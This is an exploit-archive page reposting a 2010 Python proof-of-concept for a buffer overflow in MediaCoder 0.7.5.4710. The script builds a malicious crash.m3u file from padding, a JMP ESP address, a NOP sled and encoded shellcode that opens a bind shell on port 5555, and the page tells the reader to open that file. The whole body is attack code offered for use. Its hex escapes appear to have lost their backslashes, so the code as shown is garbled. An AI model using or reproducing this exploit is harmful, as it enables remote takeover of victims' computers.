Home / os / win7

Mediacoder 0.7.5.4710 Buffer Overflow Exploit

Posted on 11 August 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Mediacoder 0.7.5.4710 Buffer Overflow Exploit</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>=============================================
Mediacoder 0.7.5.4710 Buffer Overflow Exploit
=============================================

#media coder 0.7.5.4710 0 day buffer overflow exploit
#vulnerble application link http://www.mediacoderhq.com/dlfull.htm
#tested on XP SP2
#author abhishek lyall - abhilyall[at]gmail[dot]com
#web - http://www.aslitsecurity.com/
#blog - http://www.aslitsecurity.blogspot.com/
#!/usr/bin/python
# to exploit load the crash.m3u file and double click on it
 
filename = &quot;crash.m3u&quot;
 
junk = &quot;x41&quot; * 256
eip = &quot;x65x82xa5x7c&quot;     # JMP ESP shell32.dll
nop = &quot;x90&quot; * 12
# port bind 5555 shellcode
scode = (&quot;xebx03x59xebx05xe8xf8xffxffxffx4fx49x49x49x49x49&quot;
            &quot;x49x51x5ax56x54x58x36x33x30x56x58x34x41x30x42x36&quot;
            &quot;x48x48x30x42x33x30x42x43x56x58x32x42x44x42x48x34&quot;
            &quot;x41x32x41x44x30x41x44x54x42x44x51x42x30x41x44x41&quot;
            &quot;x56x58x34x5ax38x42x44x4ax4fx4dx4ex4fx4cx46x4bx4e&quot;
            &quot;x4dx54x4ax4ex49x4fx4fx4fx4fx4fx4fx4fx42x36x4bx48&quot;
            &quot;x4ex36x46x32x46x32x4bx48x45x34x4ex43x4bx58x4ex37&quot;
            &quot;x45x50x4ax47x41x30x4fx4ex4bx58x4fx44x4ax51x4bx58&quot;
            &quot;x4fx45x42x42x41x30x4bx4ex49x54x4bx38x46x43x4bx58&quot;
            &quot;x41x50x50x4ex41x43x42x4cx49x49x4ex4ax46x58x42x4c&quot;
            &quot;x46x37x47x30x41x4cx4cx4cx4dx50x41x50x44x4cx4bx4e&quot;
            &quot;x46x4fx4bx43x46x45x46x32x4ax42x45x37x45x4ex4bx58&quot;
            &quot;x4fx35x46x42x41x30x4bx4ex48x36x4bx48x4ex50x4bx54&quot;
            &quot;x4bx38x4fx45x4ex31x41x50x4bx4ex43x30x4ex52x4bx38&quot;
            &quot;x49x38x4ex46x46x32x4ex41x41x36x43x4cx41x43x4bx4d&quot;
            &quot;x46x46x4bx48x43x54x42x43x4bx48x42x54x4ex50x4bx48&quot;
            &quot;x42x37x4ex31x4dx4ax4bx38x42x34x4ax30x50x45x4ax46&quot;
            &quot;x50x58x50x54x50x50x4ex4ex42x35x4fx4fx48x4dx48x46&quot;
            &quot;x43x35x48x36x4ax46x43x33x44x53x4ax46x47x47x43x47&quot;
            &quot;x44x53x4fx35x46x45x4fx4fx42x4dx4ax46x4bx4cx4dx4e&quot;
            &quot;x4ex4fx4bx33x42x45x4fx4fx48x4dx4fx55x49x48x45x4e&quot;
            &quot;x48x36x41x58x4dx4ex4ax30x44x50x45x35x4cx56x44x30&quot;
            &quot;x4fx4fx42x4dx4ax56x49x4dx49x50x45x4fx4dx4ax47x45&quot;
            &quot;x4fx4fx48x4dx43x35x43x35x43x55x43x45x43x35x43x54&quot;
            &quot;x43x35x43x34x43x35x4fx4fx42x4dx48x36x4ax36x45x31&quot;
            &quot;x43x4bx48x56x43x35x49x38x41x4ex45x39x4ax46x46x4a&quot;
            &quot;x4cx51x42x57x47x4cx47x35x4fx4fx48x4dx4cx46x42x41&quot;
            &quot;x41x55x45x35x4fx4fx42x4dx4ax36x46x4ax4dx4ax50x52&quot;
            &quot;x49x4ex47x55x4fx4fx48x4dx43x55x45x55x4fx4fx42x4d&quot;
            &quot;x4ax46x45x4ex49x44x48x58x49x44x47x55x4fx4fx48x4d&quot;
            &quot;x42x45x46x35x46x45x45x45x4fx4fx42x4dx43x49x4ax36&quot;
            &quot;x47x4ex49x47x48x4cx49x57x47x35x4fx4fx48x4dx45x55&quot;
            &quot;x4fx4fx42x4dx48x46x4cx46x46x46x48x36x4ax36x43x56&quot;
            &quot;x4dx36x49x48x45x4ex4cx56x42x45x49x55x49x52x4ex4c&quot;
            &quot;x49x38x47x4ex4cx36x46x44x49x38x44x4ex41x33x42x4c&quot;
            &quot;x43x4fx4cx4ax50x4fx44x44x4dx42x50x4fx44x54x4ex32&quot;
            &quot;x43x49x4dx48x4cx47x4ax43x4bx4ax4bx4ax4bx4ax4ax36&quot;
            &quot;x44x57x50x4fx43x4bx48x51x4fx4fx45x37x46x54x4fx4f&quot;
            &quot;x48x4dx4bx45x47x45x44x55x41x35x41x45x41x35x4cx56&quot;
            &quot;x41x30x41x35x41x35x45x45x41x55x4fx4fx42x4dx4ax46&quot;
            &quot;x4dx4ax49x4dx45x50x50x4cx43x45x4fx4fx48x4dx4cx46&quot;
            &quot;x4fx4fx4fx4fx47x53x4fx4fx42x4dx4bx48x47x35x4ex4f&quot;
            &quot;x43x38x46x4cx46x36x4fx4fx48x4dx44x35x4fx4fx42x4d&quot;
            &quot;x4ax36x42x4fx4cx48x46x30x4fx35x43x35x4fx4fx48x4d&quot;
            &quot;x4fx4fx42x4dx5a&quot;
)          
             
junk2 = &quot;x90&quot; * 600
 
textfile = open(filename , 'w')
textfile.write(junk+eip+nop+scode+junk2)
textfile.close()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-08-11]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP

Malware :

Exploits :